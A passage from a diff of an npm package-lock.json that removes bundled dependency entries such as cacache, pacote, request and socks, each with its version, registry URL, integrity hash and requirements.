"https://registry.npmjs.org/cacache/-/cacache-10.0.4.tgz", - "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", - "bundled": true, - "dev": true, - "requires": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.1", - "mississippi": "^2.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^5.2.4", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" - }, - "dependencies": { - "mississippi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-2.0.0.tgz", - "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", - "bundled": true, - "dev": true, - "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^2.0.1", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - } - } - } - }, - "figgy-pudding": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-2.0.1.tgz", - "integrity": "sha512-yIJPhIBi/oFdU/P+GSXjmk/rmGjuZkm7A5LTXZxNrEprXJXRK012FiI1BR1Pga+0d/d6taWWD+B5d2ozqaxHig==", - "bundled": true, - "dev": true - }, - "make-fetch-happen": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-3.0.0.tgz", - "integrity": "sha512-FmWY7gC0mL6Z4N86vE14+m719JKE4H0A+pyiOH18B025gF/C113pyfb4gHDDYP5cqnRMHOz06JGdmffC/SES+w==", - "bundled": true, - "dev": true, - "requires": { - "agentkeepalive": "^3.4.1", - "cacache": "^10.0.4", - "http-cache-semantics": "^3.8.1", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^2.2.0", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "node-fetch-npm": "^2.0.2", - "promise-retry": "^1.1.1", - "socks-proxy-agent": "^3.0.1", - "ssri": "^5.2.4" - } - }, - "pump": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", - "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", - "bundled": true, - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "smart-buffer": { - "version": "1.1.15", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-1.1.15.tgz", - "integrity": "sha1-fxFLW2X6s+KjWqd1uxLw0cZJvxY=", - "bundled": true, - "dev": true - }, - "socks": { - "version": "1.1.10", - "resolved": "https://registry.npmjs.org/socks/-/socks-1.1.10.tgz", - "integrity": "sha1-W4t/x8jzQcU+0FbpKbe/Tei6e1o=", - "bundled": true, - "dev": true, - "requires": { - "ip": "^1.1.4", - "smart-buffer": "^1.0.13" - } - }, - "socks-proxy-agent": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-3.0.1.tgz", - "integrity": "sha512-ZwEDymm204mTzvdqyUqOdovVr2YRd2NYskrYrF2LXyZ9qDiMAoFESGK8CRphiO7rtbo2Y757k2Nia3x2hGtalA==", - "bundled": true, - "dev": true, - "requires": { - "agent-base": "^4.1.0", - "socks": "^1.1.10" - } - }, - "ssri": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", - "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "^5.1.1" - } - } - } - }, - "npm-run-path": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", - "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", - "bundled": true, - "dev": true, - "requires": { - "path-key": "^2.0.0" - } - }, - "npm-user-validate": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/npm-user-validate/-/npm-user-validate-1.0.0.tgz", - "integrity": "sha1-jOyg9c6gTU6TUZ73LQVXp1Ei6VE=", - "bundled": true, - "dev": true - }, - "npmlog": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", - "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", - "bundled": true, - "dev": true, - "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" - } - }, - "number-is-nan": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "bundled": true, - "dev": true - }, - "oauth-sign": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz", - "integrity": "sha1-Rqarfwrq2N6unsBWV4C31O/rnUM=", - "bundled": true, - "dev": true - }, - "object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", - "bundled": true, - "dev": true - }, - "once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", - "bundled": true, - "dev": true, - "requires": { - "wrappy": "1" - } - }, - "opener": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/opener/-/opener-1.4.3.tgz", - "integrity": "sha1-XG2ixdflgx6P+jlklQ+NZnSskLg=", - "bundled": true, - "dev": true - }, - "os-homedir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", - "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", - "bundled": true, - "dev": true - }, - "os-locale": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", - "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", - "bundled": true, - "dev": true, - "requires": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" - } - }, - "os-tmpdir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", - "bundled": true, - "dev": true - }, - "osenv": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", - "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", - "bundled": true, - "dev": true, - "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" - } - }, - "p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", - "bundled": true, - "dev": true - }, - "p-limit": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.2.0.tgz", - "integrity": "sha512-Y/OtIaXtUPr4/YpMv1pCL5L5ed0rumAaAeBSj12F+bSlMdys7i8oQF/GUJmfpTS/QoaRrS/k6pma29haJpsMng==", - "bundled": true, - "dev": true, - "requires": { - "p-try": "^1.0.0" - } - }, - "p-locate": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", - "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", - "bundled": true, - "dev": true, - "requires": { - "p-limit": "^1.1.0" - } - }, - "p-try": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", - "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", - "bundled": true, - "dev": true - }, - "package-json": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/package-json/-/package-json-4.0.1.tgz", - "integrity": "sha1-iGmgQBJTZhxMTKPabCEh7VVfXu0=", - "bundled": true, - "dev": true, - "requires": { - "got": "^6.7.1", - "registry-auth-token": "^3.0.1", - "registry-url": "^3.0.3", - "semver": "^5.1.0" - } - }, - "pacote": { - "version": "8.1.6", - "resolved": "https://registry.npmjs.org/pacote/-/pacote-8.1.6.tgz", - "integrity": "sha512-wTOOfpaAQNEQNtPEx92x9Y9kRWVu45v583XT8x2oEV2xRB74+xdqMZIeGW4uFvAyZdmSBtye+wKdyyLaT8pcmw==", - "bundled": true, - "dev": true, - "requires": { - "bluebird": "^3.5.1", - "cacache": "^11.0.2", - "get-stream": "^3.0.0", - "glob": "^7.1.2", - "lru-cache": "^4.1.3", - "make-fetch-happen": "^4.0.1", - "minimatch": "^3.0.4", - "minipass": "^2.3.3", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "normalize-package-data": "^2.4.0", - "npm-package-arg": "^6.1.0", - "npm-packlist": "^1.1.10", - "npm-pick-manifest": "^2.1.0", - "osenv": "^0.1.5", - "promise-inflight": "^1.0.1", - "promise-retry": "^1.1.1", - "protoduck": "^5.0.0", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.2", - "semver": "^5.5.0", - "ssri": "^6.0.0", - "tar": "^4.4.3", - "unique-filename": "^1.1.0", - "which": "^1.3.0" - } - }, - "parallel-transform": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.1.0.tgz", - "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", - "bundled": true, - "dev": true, - "requires": { - "cyclist": "~0.2.2", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" - } - }, - "path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "bundled": true, - "dev": true - }, - "path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", - "bundled": true, - "dev": true - }, - "path-is-inside": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", - "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", - "bundled": true, - "dev": true - }, - "path-key": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", - "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", - "bundled": true, - "dev": true - }, - "performance-now": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-0.2.0.tgz", - "integrity": "sha1-M+8wxcd9TqIcWlOGnZG1bY8lVeU=", - "bundled": true, - "dev": true - }, - "pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", - "bundled": true, - "dev": true - }, - "prepend-http": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz", - "integrity": "sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=", - "bundled": true, - "dev": true - }, - "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", - "bundled": true, - "dev": true - }, - "promise-inflight": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", - "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", - "bundled": true, - "dev": true - }, - "promise-retry": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-1.1.1.tgz", - "integrity": "sha1-ZznpaOMFHaIM5kl/srUPaRHfPW0=", - "bundled": true, - "dev": true, - "requires": { - "err-code": "^1.0.0", - "retry": "^0.10.0" - }, - "dependencies": { - "retry": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.10.1.tgz", - "integrity": "sha1-52OI0heZLCUnUCQdPTlW/tmNj/Q=", - "bundled": true, - "dev": true - } - } - }, - "promzard": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/promzard/-/promzard-0.3.0.tgz", - "integrity": "sha1-JqXW7ox97kyxIggwWs+5O6OCqe4=", - "bundled": true, - "dev": true, - "requires": { - "read": "1" - } - }, - "proto-list": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", - "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=", - "bundled": true, - "dev": true - }, - "protoduck": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/protoduck/-/protoduck-5.0.0.tgz", - "integrity": "sha512-agsGWD8/RZrS4ga6v82Fxb0RHIS2RZnbsSue6A9/MBRhB/jcqOANAMNrqM9900b8duj+Gx+T/JMy5IowDoO/hQ==", - "bundled": true, - "dev": true, - "requires": { - "genfun": "^4.0.1" - } - }, - "prr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", - "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", - "bundled": true, - "dev": true - }, - "pseudomap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", - "bundled": true, - "dev": true - }, - "pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "bundled": true, - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "pumpify": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", - "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", - "bundled": true, - "dev": true, - "requires": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" - }, - "dependencies": { - "pump": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", - "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", - "bundled": true, - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - } - } - }, - "punycode": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", - "bundled": true, - "dev": true - }, - "qrcode-terminal": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz", - "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==", - "bundled": true, - "dev": true - }, - "qs": { - "version": "6.4.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.4.0.tgz", - "integrity": "sha1-E+JtKK1rD/qpExLNO/cI7TUecjM=", - "bundled": true, - "dev": true - }, - "query-string": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/query-string/-/query-string-6.1.0.tgz", - "integrity": "sha512-pNB/Gr8SA8ff8KpUFM36o/WFAlthgaThka5bV19AD9PNTH20Pwq5Zxodif2YyHwrctp6SkL4GqlOot0qR/wGaw==", - "bundled": true, - "dev": true, - "requires": { - "decode-uri-component": "^0.2.0", - "strict-uri-encode": "^2.0.0" - } - }, - "qw": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/qw/-/qw-1.0.1.tgz", - "integrity": "sha1-77/cdA+a0FQwRCassYNBLMi5ltQ=", - "bundled": true, - "dev": true - }, - "rc": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.7.tgz", - "integrity": "sha512-LdLD8xD4zzLsAT5xyushXDNscEjB7+2ulnl8+r1pnESlYtlJtVSoCMBGr30eDRJ3+2Gq89jK9P9e4tCEH1+ywA==", - "bundled": true, - "dev": true, - "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - }, - "dependencies": { - "minimist": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.0.tgz", - "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=", - "bundled": true, - "dev": true - } - } - }, - "read": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", - "integrity": "sha1-s9oZvQUkMal2cdRKQmNK33ELQMQ=", - "bundled": true, - "dev": true, - "requires": { - "mute-stream": "~0.0.4" - } - }, - "read-cmd-shim": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/read-cmd-shim/-/read-cmd-shim-1.0.1.tgz", - "integrity": "sha1-LV0Vd4ajfAVdIgd8MsU/gynpHHs=", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2" - } - }, - "read-installed": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/read-installed/-/read-installed-4.0.3.tgz", - "integrity": "sha1-/5uLZ/GH0eTCm5/rMfayI6zRkGc=", - "bundled": true, - "dev": true, - "requires": { - "debuglog": "^1.0.1", - "graceful-fs": "^4.1.2", - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "slide": "~1.1.3", - "util-extend": "^1.0.1" - } - }, - "read-package-json": { - "version": "2.0.13", - "resolved": "https://registry.npmjs.org/read-package-json/-/read-package-json-2.0.13.tgz", - "integrity": "sha512-/1dZ7TRZvGrYqE0UAfN6qQb5GYBsNcqS1C0tNK601CFOJmtHI7NIGXwetEPU/OtoFHZL3hDxm4rolFFVE9Bnmg==", - "bundled": true, - "dev": true, - "requires": { - "glob": "^7.1.1", - "graceful-fs": "^4.1.2", - "json-parse-better-errors": "^1.0.1", - "normalize-package-data": "^2.0.0", - "slash": "^1.0.0" - } - }, - "read-package-tree": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/read-package-tree/-/read-package-tree-5.2.1.tgz", - "integrity": "sha512-2CNoRoh95LxY47LvqrehIAfUVda2JbuFE/HaGYs42bNrGG+ojbw1h3zOcPcQ+1GQ3+rkzNndZn85u1XyZ3UsIA==", - "bundled": true, - "dev": true, - "requires": { - "debuglog": "^1.0.1", - "dezalgo": "^1.0.0", - "once": "^1.3.0", - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0" - } - }, - "readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "readdir-scoped-modules": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/readdir-scoped-modules/-/readdir-scoped-modules-1.0.2.tgz", - "integrity": "sha1-n6+jfShr5dksuuve4DDcm19AZ0c=", - "bundled": true, - "dev": true, - "requires": { - "debuglog": "^1.0.1", - "dezalgo": "^1.0.0", - "graceful-fs": "^4.1.2", - "once": "^1.3.0" - } - }, - "registry-auth-token": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-3.3.2.tgz", - "integrity": "sha512-JL39c60XlzCVgNrO+qq68FoNb56w/m7JYvGR2jT5iR1xBrUA3Mfx5Twk5rqTThPmQKMWydGmq8oFtDlxfrmxnQ==", - "bundled": true, - "dev": true, - "requires": { - "rc": "^1.1.6", - "safe-buffer": "^5.0.1" - } - }, - "registry-url": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-3.1.0.tgz", - "integrity": "sha1-PU74cPc93h138M+aOBQyRE4XSUI=", - "bundled": true, - "dev": true, - "requires": { - "rc": "^1.0.1" - } - }, - "request": { - "version": "2.81.0", - "resolved": "https://registry.npmjs.org/request/-/request-2.81.0.tgz", - "integrity": "sha1-xpKJRqDgbF+Nb4qTM0af/aRimKA=", - "bundled": true, - "dev": true, - "requires": { - "aws-sign2": "~0.6.0", - "aws4": "^1.2.1", - "caseless": "~0.12.0", - "combined-stream": "~1.0.5", - "extend": "~3.0.0", - "forever-agent": "~0.6.1", - "form-data": "~2.1.1", - "har-validator": "~4.2.1", - "hawk": "~3.1.3", - "http-signature": "~1.1.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.7", - "oauth-sign": "~0.8.1", - "performance-now": "^0.2.0", - "qs": "~6.4.0", - "safe-buffer": "^5.0.1", - "stringstream": "~0.0.4", - "tough-cookie": "~2.3.0", - "tunnel-agent": "^0.6.0", - "uuid": "^3.0.0" - } - }, - "require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", - "bundled": true, - "dev": true - }, - "require-main-filename": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", - "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", - "bundled": true, - "dev": true - }, - "resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "bundled": true, - "dev": true - }, - "retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=", - "bundled": true, - "dev": true - }, - "rimraf": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", - "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", - "bundled": true, - "dev": true, - "requires": { - "glob": "^7.0.5" - } - }, - "run-queue": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz", - "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^1.1.1" - } - }, - "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", - "bundled": true, - "dev": true - }, - "safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "bundled": true, - "dev": true - }, - "semver": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz", - "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==", - "bundled": true, - "dev": true - }, - "semver-diff": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-2.1.0.tgz", - "integrity": "sha1-S7uEN8jTfksM8aaP1ybsbWRdbTY=", - "bundled": true, - "dev": true, - "requires": { - "semver": "^5.0.3" - } - }, - "set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "bundled": true, - "dev": true - }, - "sha": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/sha/-/sha-2.0.1.tgz", - "integrity": "sha1-YDCCL70smCOUn49y7WQR7lzyWq4=", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "readable-stream": "^2.0.2" - } - }, - "shebang-command": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", - "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", - "bundled": true, - "dev": true, - "requires": { - "shebang-regex": "^1.0.0" - } - }, - "shebang-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", - "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", - "bundled": true, - "dev": true - }, - "signal-exit": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", - "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=", - "bundled": true, - "dev": true - }, - "slash": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-1.0.0.tgz", - "integrity": "sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=", - "bundled": true, - "dev": true - }, - "slide": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/slide/-/slide-1.1.6.tgz", - "integrity": "sha1-VusCfWW00tzmyy4tMsTUr8nh1wc=", - "bundled": true, - "dev": true - }, - "smart-buffer": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.0.1.tgz", - "integrity": "sha512-RFqinRVJVcCAL9Uh1oVqE6FZkqsyLiVOYEZ20TqIOjuX7iFVJ+zsbs4RIghnw/pTs7mZvt8ZHhvm1ZUrR4fykg==", - "bundled": true, - "dev": true - }, - "sntp": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/sntp/-/sntp-1.0.9.tgz", - "integrity": "sha1-ZUEYTMkK7qbG57NeJlkIJEPGYZg=", - "bundled": true, - "dev": true, - "requires": { - "hoek": "2.x.x" - } - }, - "socks": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/socks/-/socks-2.2.0.tgz", - "integrity": "sha512-uRKV9uXQ9ytMbGm2+DilS1jB7N3AC0mmusmW5TVWjNuBZjxS8+lX38fasKVY9I4opv/bY/iqTbcpFFaTwpfwRg==", - "bundled": true, - "dev": true, - "requires": { - "ip": "^1.1.5", - "smart-buffer": "^4.0.1" - } - }, - "socks-proxy-agent": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-4.0.1.tgz", - "integrity": "sha512-Kezx6/VBguXOsEe5oU3lXYyKMi4+gva72TwJ7pQY5JfqUx2nMk7NXA6z/mpNqIlfQjWYVfeuNvQjexiTaTn6Nw==", - "bundled": true, - "dev": true, - "requires": { - "agent-base": "~4.2.0", - "socks": "~2.2.0" - } - }, - "sorted-object": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/sorted-object/-/sorted-object-2.0.1.tgz", - "integrity": "sha1-fWMfS9OnmKJK8d/8+/6DM3pd9fw=", - "bundled": true, - "dev": true - }, - "sorted-union-stream": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/sorted-union-stream/-/sorted-union-stream-2.1.3.tgz", - "integrity": "sha1-x3lMfgd4gAUv9xqNSi27Sppjisc=", - "bundled": true, - "dev": true, - "requires": { - "from2": "^1.3.0", - "stream-iterate": "^1.1.0" - 